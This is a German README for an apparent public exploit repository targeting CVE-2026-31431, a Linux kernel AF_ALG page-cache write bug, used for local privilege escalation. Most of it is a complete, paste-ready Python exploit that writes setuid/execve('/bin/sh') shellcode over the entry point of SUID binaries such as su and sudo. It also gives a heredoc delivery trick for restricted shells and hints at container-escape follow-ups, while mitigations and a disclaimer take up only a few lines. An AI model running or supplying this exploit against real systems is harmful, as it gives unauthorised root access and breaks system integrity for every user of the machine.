
CVE-2026-31431 Copy Fail — Universeller LPE-Exploit. Dynamischer ELF-Offset + vollständige Binärüberschreibung, Python 2/3-kompatibel mit ctypes-Splice-Fallback
Linux-Kernel-Page-Cache 4-Byte-Arbitrary-Write → Lokale Privilegieneskalation
Mehrere Exploit-Ansätze: dynamische ELF-Einstiegspunkt-Überschreibung, vollständiger Binärersatz, Python 3.x-kompatibel mit ctypes-splice-Fallback.
CVE-2026-31431 ist eine Schwachstelle im AF_ALG-Krypto-Subsystem des Linux-Kernels. Durch Missbrauch von splice() + authencesn-In-Place-Entschlüsselung kann ein unprivilegierter Benutzer 4 Bytes an einer beliebigen Offset-Position im Page Cache des Kernels schreiben — demselben Cache, der für alle dateigestützten Speicherbereiche verwendet wird.
Das bedeutet:
Dieses Repository bietet drei Werkzeuge, die dieselbe AF_ALG-Copy-Fall-Primitive verwenden:
Dynamischer Einstiegspunkt — Analysiert den ELF-Header zur Laufzeit, um den Datei-Offset des Einstiegspunkts zu berechnen (p_offset + (e_entry - p_vaddr)), und schreibt dann einen kleinen Shellcode-Stub. Keine fest codierten Offsets — ein Skript funktioniert mit jeder x86_64-SUID-Binärdatei, unabhängig von Distribution oder Version.
Vollständiger Binärersatz — Überschreibt das Ziel ab Offset 0 mit einem vollständigen, vorgefertigten ELF-Payload (zlib-komprimiert und im Skript eingebettet). Kann nicht-SUID-Binärdateien angreifen, die von privilegierten Prozessen ausgeführt werden (Cron-Jobs, systemd-Dienste, kube-proxy). Funktioniert mit Python 2.
Schwachstellen-Checker — Testet, ob das Zielsystem über AF_ALG, authencesn und algif_aead verfügt, bevor ein Exploit ausgeführt wird.
exploit.py; Python 2 wird über poc_compatible.py unterstützt)/usr/bin/su, /usr/bin/sudo, usw.)# Testcontainer mit unprivilegiertem Benutzer erstellen
docker run -ti --rm ubuntu:22.04 bash -c '
sed -i "s|archive.ubuntu.com|mirrors.aliyun.com|g;s|security.ubuntu.com|mirrors.aliyun.com|g" /etc/apt/sources.list
apt-get update -qq && apt-get install -y -qq python3 gcc
cat > /tmp/verify.c << EOF
#include <unistd.h>
#include <stdio.h>
int main() {
printf("uid=%d euid=%d\\n", getuid(), geteuid());
printf("Not rooted - exploit entry point to get shell\\n");
return 0;
}
EOF
gcc -o /usr/local/bin/verify /tmp/verify.c
chmod 4755 /usr/local/bin/verify
useradd -m testuser
su - testuser
'
Dann im Container als testuser:
# Vorher: setuid(0) schlägt fehl, da die reale UID nicht 0 ist
/usr/local/bin/verify
# uid=1000 euid=0
# (beendet normal, kein Root)
# Exploit ausführen
python3 exploit.py /usr/local/bin/verify
# Nachher: Einstiegspunkt überschrieben, Shellcode erhält Root
# uid=0(root) gid=1000(testuser)
In realen Szenarien hat man oft nur eine nackte Shell — kein scp, kein curl, kein wget. Diese Methode verwendet cat-Heredoc, um den Exploit direkt im Terminal zu schreiben:
# Option 1: Shell-Skript ausführen
sh exploit-one-liner.sh /usr/local/bin/verify
# Option 2: direkt ins Terminal einfügen (gesamten Block kopieren)
cat > /tmp/exploit.py << 'EXPY'
from __future__ import print_function
import os,socket,struct,sys,binascii,ctypes,ctypes.util
if not hasattr(os,'splice'):
_l=ctypes.CDLL(ctypes.util.find_library('c'),use_errno=True)
def _s(src,dst,count,offset_src=None,offset_dst=None,flags=0):
ctypes.set_errno(0);pi=ctypes.byref(ctypes.c_longlong(offset_src)) if offset_src is not None else None;po=ctypes.byref(ctypes.c_longlong(offset_dst)) if offset_dst is not None else None;r=_l.splice(ctypes.c_int(src),pi,ctypes.c_int(dst),po,ctypes.c_size_t(count),ctypes.c_uint(flags))
if r==-1:raise OSError(ctypes.get_errno(),'splice')
return r
os.splice=_s
def d(x):
if isinstance(x,str):x=x.encode('ascii')
return binascii.unhexlify(x)
def w(t,o,p):
s=socket.socket(38,5,0);s.bind(("aead","authencesn(hmac(sha256),cbc(aes))"))
s.setsockopt(279,1,d('0800010000000010'+'0'*64));s.setsockopt(279,5,None,4)
u,_=s.accept();z=d('00')
u.sendmsg([b"A"*4+p],[(279,3,z*4),(279,2,b'\x10'+z*19),(279,4,b'\x08'+z*3)],32768)
r,ww=os.pipe();fd=os.open(t,0);os.splice(fd,ww,o+4,offset_src=0);os.splice(r,u.fileno(),o+4)
try:u.recv(8+o)
except:0
[os.close(x) for x in [fd,r,ww]];u.close();s.close()
with open(sys.argv[1],'rb') as f: h=f.read(64)
e=struct.unpack_from('<Q',h,24)[0]
p=struct.unpack_from('<Q',h,32)[0]
n=struct.unpack_from('<H',h,56)[0]
sz=struct.unpack_from('<H',h,54)[0]
off=0
with open(sys.argv[1],'rb') as f:
for i in range(n):
f.seek(p+i*sz);ph=f.read(sz)
if struct.unpack_from('<I',ph,0)[0]!=1: continue
pv,po,pf=struct.unpack_from('<QQQ',ph,16)[:3];pv2=struct.unpack_from('<Q',ph,8)[0]
if pv<=e<pv+pf: off=pv2+(e-pv);break
print("entry offset: 0x%x" % off)
sc=b'\x48\x31\xff\x31\xc0\xb0\x69\x0f\x05'
sc+=b'\x48\x31\xd2\x52'
sc+=b'\x48\xbb\x2f\x62\x69\x6e\x2f\x73\x68\x00'
sc+=b'\x53\x48\x89\xe7\x48\x31\xf6\x31\xc0\xb0\x3b\x0f\x05'
print("shellcode %d bytes" % len(sc))
sc+=b'\x00'*(4-len(sc)%4)
for i in range(len(sc)//4):
w(sys.argv[1],off+i*4,sc[i*4:i*4+4])
print(" wrote 0x%x: %s" % (off+i*4,sc[i*4:i*4+4].hex()))
with open(sys.argv[1],'rb') as f:
f.seek(off);vd=f.read(32)
print("verify: %s" % vd[:len(sc)].hex())
os.system(sys.argv[1])
EXPY
python3 /tmp/exploit.py /usr/local/bin/verify
Warum das wichtig ist: Container-Umgebungen fehlen oft Dateitransfer-Werkzeuge (
scp,curl,wget). Die Heredoc-Methode benötigt nurcatundpython3— überall verfügbar.
Sie können /usr/local/bin/verify durch jede SUID-root-Binärdatei ersetzen:
python3 exploit.py /usr/bin/su
python3 exploit.py /usr/bin/sudo
python3 exploit.py /usr/bin/passwd
python3 exploit.py /usr/bin/chsh
⚠️ Warnung: Das Angreifen von System-SUID-Binärdateien (wie
/usr/bin/su) betrifft alle Benutzer auf dem System. Die Binärdatei wird unbrauchbar, bis der Page Cache geleert wird. Auf dem Host-Rechner würde jeder Benutzer, dersuausführt, eine Root-Shell erhalten.Auf einem gemeinsam genutzten/Produktionssystem ist dies sofort bemerkbar —
suwird abstürzen oder unerwartete Shells für alle erzeugen. Verwenden Sieverify.cfür sichere Tests.
Der Exploit modifiziert nur den Page Cache (Speicher), nicht die Festplatte. Wiederherstellungsoptionen:
# Auf dem Host (nach Container-Tests):
echo 3 | sudo tee /proc/sys/vm/drop_caches
# Wiederherstellung verifizieren:
xxd -l 8 /usr/bin/su
# Sollte zeigen: 7f45 4c46 (.ELF)
Hinweis: In einem Standard-Container (nicht privilegiert) schlägt
echo 3 > /proc/sys/vm/drop_cachesmitRead-only file systemfehl — dies erfordert Host-Zugriff oder Container-Zerstörung.
Der authencesn-AEAD-Algorithmus des Kernels hat einen Fehler in seinem In-Place-Entschlüsselungspfad:
AF_ALG-Socket mit authencesn(hmac(sha256), cbc(aes))splice() auf, um Dateidaten in den Krypto-Socket zu speisen — dies mappt Page-Cache-Seiten direkt in die Scatterlist des Kernelsauthencesn 4 Bytes seqno_lo nach dem Authentifizierungs-TagErgebnis: 4-Byte-Arbitrary-Write in jede Page-Cache-Datei.
┌─────────────────────────────────────────────────────┐
│ ELF-Binärdatei (/usr/bin/su) │
│ │
│ 0x0000: ┌──────────┐ │
│ │ ELF-Header │ e_entry = 0x4013f0 │
│ │ │ ← dynamisch analysiert │
│ └──────────┘ │
│ ... │
│ 0x3f20: ┌──────────┐ ← berechneter Datei-Offset │
│ │ orig code │ │
│ │ │ ─── Copy-Fall-Schreibvorgänge ───→ │
│ │ SHELLCODE │ setuid(0) + execve("/bin/sh")│
│ └──────────┘ │
│ ... │
└─────────────────────────────────────────────────────┘
Wenn der Kernel die SUID-Binärdatei lädt, setzt er euid=0 und springt dann zum Einstiegspunkt.
Der Einstiegspunkt ist jetzt unser Shellcode → setuid(0) gelingt → Root-Shell.
xor rdi, rdi ; uid = 0
xor eax, eax
mov al, 0x69 ; __NR_setuid
syscall ; setuid(0)
xor rdx, rdx
push rdx ; Null-Terminator
movabs rbx, "/bin/sh\0"
push rbx
mov rdi, rsp ; Dateiname
xor rsi, rsi ; argv = NULL
xor eax, eax
mov al, 0x3b ; __NR_execve
syscall ; execve("/bin/sh", NULL, NULL)
36 Bytes, 9 Copy-Fall-Schreibvorgänge (je 4 Bytes).
Standard-Docker-Container sind nicht davor geschützt:
| Schutz | Status |
|---|---|
| Seccomp | ✅ AF_ALG standardmäßig erlaubt |
| User-Namespaces | ❌ Nicht in Standard-Docker verwendet |
| AppArmor/SELinux | ❌ Beschränkt AF_ALG nicht |
| Capability-Dropping | ❌ Keine speziellen Capabilities nötig |
Das Einzige, was den Container-Escape verhindert, ist die Pro-Mount-Page-Cache-Isolation von overlayfs. Aber sobald man Root im Container hat, greifen Standard-Escape-Techniken (cgroup release_agent, docker.sock, K8s-Serviceaccount-Tokens, Cloud-Metadaten).
Jeder Linux-Kernel seit der algif_aead-In-Place-Konvertierung (zusammengeführt ~2017), einschließlich:
.
├── exploit.py # Dynamische ELF-Einstiegspunkt-Überschreibung (Python 3.x)
├── exploit-one-liner.sh # Einfügefreundliche Version (kein Dateitransfer nötig)
├── poc_compatible.py # Vollständige ELF-Binärdatei-Überschreibung ab Offset 0 (Python 2/3, von h4ppy7ree)
├── poc_ctypes.py # ctypes splice für Python 3.0-3.9 (von h4ppy7ree)
├── check_cve.sh # Schwachstellen-Checker (von h4ppy7ree)
├── verify/
│ └── verify.c # SUID-Verifikationsprogramm für Tests
└── README.md # Diese Datei
AF_ALG-Domain blockieren (socket(AF_ALG, ...) → errno)af_alg-Socket-Erstellung verweigernCONFIG_CRYPTO_USER_API_AEAD=nsocket(AF_ALG=38, SOCK_SEQPACKET=5, 0)-Syscalls auditierenDieser Exploit wird nur für autorisierte Sicherheitsforschung und Bildungszwecke bereitgestellt. Unautorisierter Zugriff auf Computersysteme ist illegal. Die Autoren übernehmen keine Haftung und sind nicht für Missbrauch oder Schäden verantwortlich, die durch dieses Programm verursacht werden.
MIT
| Dynamischer Einstiegspunkt | Vollständiger Binärersatz | Schwachstellen-Checker |
|---|
| Datei | exploit.py | poc_compatible.py | check_cve.sh |
| Strategie | Überschreibt ELF-Einstiegspunkt mit Shellcode | Ersetzt die gesamte Binärdatei ab Offset 0 | Testet, ob das Ziel verwundbar ist |
| Ziel | Beliebige x86_64-SUID-Binärdatei | Beliebige Binärdatei (SUID oder nicht) | N/A |
| Python | 3.x (alle Versionen) | 2 / 3 | Bash |
| Payload | 36 Bytes Shellcode | zlib-komprimiertes vollständiges ELF | N/A |
| Autor | Diese Arbeit | h4ppy7ree | h4ppy7ree |
| Methode | Wo | Befehl |
|---|
| Page Cache leeren | Host (root) | echo 3 > /proc/sys/vm/drop_caches |
| Neustart | Überall | reboot — Page Cache ist flüchtig |
| Container zerstören | Überall | docker rm — Page Cache wird mit dem Container freigegeben |
| Vektor | Funktioniert? | Details |
|---|
| LPE (lokaler Benutzer → root) | ✅ Ja | SUID-Binärdatei-Einstiegspunkt überschreiben |
| Container-Escape (Standard) | ❌ Nein | overlayfs Pro-Mount-Page-Cache-Isolation |
| Container-Escape (Host-Schreibzugriff) | ✅ Ja | Schreiben über /proc/PID/root/ vom Host |
| Cross-Container (Host-Schreibzugriff) | ✅ Ja | Gleicher Inode → gemeinsamer Lower-Layer-Page-Cache |